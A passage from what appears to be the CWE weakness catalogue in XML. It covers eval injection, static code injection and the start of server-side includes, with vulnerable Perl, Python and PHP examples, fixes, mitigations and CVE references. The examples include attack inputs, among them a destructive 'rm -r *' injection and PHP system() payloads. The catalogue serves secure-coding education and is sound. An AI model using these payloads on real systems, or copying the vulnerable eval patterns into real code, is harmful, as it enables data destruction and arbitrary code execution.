                           <xhtml:i># code to delete key from a particular file goes here</xhtml:i><xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>sub handleConfigAction {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>my ($fname, $action) = @_;<xhtml:br/>my $key = param('key');<xhtml:br/>my $val = param('val');<xhtml:br/>
                        
                           <xhtml:i># this is super-efficient code, especially if you have to invoke</xhtml:i><xhtml:br/>
                           <xhtml:i># any one of dozens of different functions!</xhtml:i><xhtml:br/>
                           <xhtml:br/>my $code = "config_file_$action_key(\$fname, \$key, \$val);";<xhtml:br/>eval($code);</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>$configfile = "/home/cwe/config.txt";<xhtml:br/>print header;<xhtml:br/>if (defined(param('action'))) {<xhtml:div style="margin-left:1em;">handleConfigAction($configfile, param('action'));</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">print "No action specified!\n";</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config_file_add_key(), config_file_set_key(), or config_file_delete_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>add_key(",","); system("/bin/ls");</xhtml:div>
               </Example_Code>
               <Body_Text>This would produce the following string in handleConfigAction():</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>config_file_add_key(",","); system("/bin/ls");</xhtml:div>
               </Example_Code>
               <Body_Text>Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the "_key(\$fname, \$key, \$val)" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-156">
               <Intro_Text>This simple script asks a user to supply a list of numbers as input and adds them together.</Intro_Text>
               <Example_Code Nature="Bad" Language="Python">
                  <xhtml:div>
                  def main():<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                     sum = 0<xhtml:br/>
                     numbers = eval(input("Enter a space-separated list of numbers: "))<xhtml:br/>
                     for num in numbers:<xhtml:br/>
                        <xhtml:div style="margin-left:1em;">
                        sum = sum + num<xhtml:br/>
                        </xhtml:div>
                     print(f"Sum of {numbers} = {sum}")
                     </xhtml:div>
                  main()
                  </xhtml:div>
               </Example_Code>
               <Body_Text>The eval() function can take the user-supplied list and convert it into a Python list object, therefore allowing the programmer to use list comprehension methods to work with the data. However, if code is supplied to the eval() function, it will execute that code. For example, a malicious user could supply the following string:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>__import__('subprocess').getoutput('rm -r *')</xhtml:div>
               </Example_Code>
               <Body_Text>This would delete all the files in the current directory. For this reason, it is not recommended to use eval() with untrusted input.</Body_Text>
	       <Body_Text>A way to accomplish this without the use of eval() is to apply an integer conversion on the input within a try/except block. If the user-supplied input is not numeric, this will raise a ValueError. By avoiding eval(), there is no opportunity for the input string to be executed as code.</Body_Text>
               <Example_Code Nature="Good" Language="Python">
                  <xhtml:div>
                  def main():<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                     sum = 0<xhtml:br/>
                     numbers = input("Enter a space-separated list of numbers: ").split(" ")<xhtml:br/>
                     try:<xhtml:br/>
                        <xhtml:div style="margin-left:1em;">
                        for num in numbers:<xhtml:br/>
                           <xhtml:div style="margin-left:1em;">
                           sum = sum + int(num)<xhtml:br/>
                           </xhtml:div>
                        print(f"Sum of {numbers} = {sum}")
                        </xhtml:div>
                     except ValueError:<xhtml:br/>
                        <xhtml:div style="margin-left:1em;">
                        print("Error: invalid input")<xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>
                  main()
                  </xhtml:div>
               </Example_Code>
               <Body_Text>An alternative option is to use the ast.literal_eval() function from Python's ast module. This function considers only Python literals as valid data types and will not execute any code contained within the user input.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-2054</Reference>
               <Description>Python compiler uses eval() to execute malicious strings as Python code.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-2054</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-22204</Reference>
               <Description>Chain: regex in EXIF processor code does not correctly determine where a string ends (CWE-625), enabling eval injection (CWE-95), as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-22204</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-22205</Reference>
               <Description>Chain: backslash followed by a newline can bypass a validation step (CWE-20), leading to eval injection (CWE-95), as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-22205</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5071</Reference>
               <Description>Eval injection in PHP program.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5071</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1750</Reference>
               <Description>Eval injection in Perl program.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1750</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5305</Reference>
               <Description>Eval injection in Perl program using an ID that should only contain hyphens and numbers.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5305</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1752</Reference>
               <Description>Direct code injection into Perl eval function.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1752</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1753</Reference>
               <Description>Eval injection in Perl program.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1753</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1527</Reference>
               <Description>Direct code injection into Perl eval function.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1527</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2837</Reference>
               <Description>Direct code injection into Perl eval function.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2837</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1921</Reference>
               <Description>MFV. code injection into PHP eval statement using nested constructs that should not be nested.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1921</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2498</Reference>
               <Description>MFV. code injection into PHP eval statement using nested constructs that should not be nested.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2498</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3302</Reference>
               <Description>Code injection into Python eval statement from a field in a formatted file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3302</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-1253</Reference>
               <Description>Eval injection in Python program.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-1253</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1471</Reference>
               <Description>chain: Resultant eval injection. An invalid value prevents initialization of variables, which can be modified by attacker and later injected into PHP eval statement.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1471</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-2713</Reference>
               <Description>Chain: Execution after redirect triggers eval injection.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-2713</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Direct Dynamic Code Evaluation ('Eval Injection')</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A3</Entry_ID>
               <Entry_Name>Malicious File Execution</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A6</Entry_ID>
               <Entry_Name>Injection Flaws</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>IDS35-PL</Entry_ID>
               <Entry_Name>Do not invoke the eval form with a string argument</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="35"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 18, &#34;Inline Evaluation&#34;, Page 1095"/>
         </References>
         <Notes>
            <Note Type="Other">Factors: special character errors can play a role in increasing the variety of code that can be injected, although some vulnerabilities do not require special characters at all, e.g. when a single function without arguments can be referenced and a terminator character is not necessary.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Modes_of_Introduction, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Description, Observed_Examples, Other_Notes, Research_Gaps</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Description, Name, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Direct Dynamic Code Evaluation ('Eval Injection')</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Insufficient Control of Directives in Dynamically Evaluated Code (aka 'Eval Injection')</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-06-21">Improper Sanitization of Directives in Dynamically Evaluated Code ('Eval Injection')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="96" Name="Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before inserting the input into an executable resource, such as a library, configuration file, or template.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="94" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="PHP" Prevalence="Undetermined"/>
            <Language Name="Perl" Prevalence="Undetermined"/>
            <Language Class="Interpreted" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
	    <Introduction>
               <Phase>Implementation</Phase>
               <Note>This issue is frequently found in PHP applications that allow users to set configuration variables that are stored within executable PHP files. Technically, this could also be performed in some compiled code (e.g., by byte-patching an executable), although it is highly unlikely.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Read Application Data</Impact>
               <Note>The injected code could access restricted data / files.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>In some cases, injectable code controls authentication; this may lead to a remote vulnerability.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>Injected code can access resources that the attacker is directly prevented from accessing.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Other</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.</Note>
            </Consequence>
            <Consequence>
               <Scope>Non-Repudiation</Scope>
               <Impact>Hide Activities</Impact>
               <Note>Often the actions performed by injected control code are unlogged.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>Perform proper output validation and escaping to neutralize all code syntax from data written to code files.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-32">
               <Intro_Text>This example attempts to write user messages to a message file and allow users to view them.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>$MessageFile = "messages.out";<xhtml:br/>if ($_GET["action"] == "NewMessage") {<xhtml:div style="margin-left:1em;">$name = $_GET["name"];<xhtml:br/>$message = $_GET["message"];<xhtml:br/>$handle = fopen($MessageFile, "a+");<xhtml:br/>fwrite($handle, "&lt;b&gt;$name&lt;/b&gt; says '$message'&lt;hr&gt;\n");<xhtml:br/>fclose($handle);<xhtml:br/>echo "Message Saved!&lt;p&gt;\n";</xhtml:div>}<xhtml:br/>else if ($_GET["action"] == "ViewMessages") {<xhtml:div style="margin-left:1em;">include($MessageFile);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>name=h4x0r<xhtml:br/>message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E</xhtml:div>
               </Example_Code>
               <Body_Text>which will decode to the following:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>&lt;?php system("/bin/ls -l");?&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.</Body_Text>
               <Body_Text>Notice that XSS (CWE-79) is also possible in this situation.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0495</Reference>
               <Description>Perl code directly injected into CGI library file from parameters to another CGI program.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0495</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1876</Reference>
               <Description>Direct PHP code injection into supporting template file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1876</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1894</Reference>
               <Description>Direct code injection into PHP script that can be accessed by attacker.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1894</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0395</Reference>
               <Description>PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0395</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-6652</Reference>
               <Description>chain: execution after redirect allows non-administrator to perform static code injection.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-6652</Link>
            </Observed_Example>
         </Observed_Examples>
         <Affected_Resources>
            <Affected_Resource>File or Directory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Direct Static Code Injection</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted Input to Command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="35"/>
            <Related_Attack_Pattern CAPEC_ID="73"/>
            <Related_Attack_Pattern CAPEC_ID="77"/>
            <Related_Attack_Pattern CAPEC_ID="81"/>
            <Related_Attack_Pattern CAPEC_ID="85"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Relationship">"HTML injection" (see CWE-79: XSS) could be thought of as an example of this, but the code is injected and executed on the client side, not the server side. Server-Side Includes (SSI) are an example of direct static code injection.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Enabling_Factors_for_Exploitation, Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Affected_Resources, Applicable_Platforms, Causal_Nature, Demonstrative_Examples, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Modes_of_Introduction, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Direct Static Code Injection</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Insufficient Control of Directives in Statically Saved Code (Static Code Injection)</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-04-05">Improper Sanitization of Directives in Statically Saved Code ('Static Code Injection')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="97" Name="Improper Neutralization of Server-Side Includes (SSI) Within a Web Page" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product generates a web page, but does not neutralize or incorrectly neutralizes user-controllable input that could be interpreted as a server-side include (SSI) directive.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="96" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
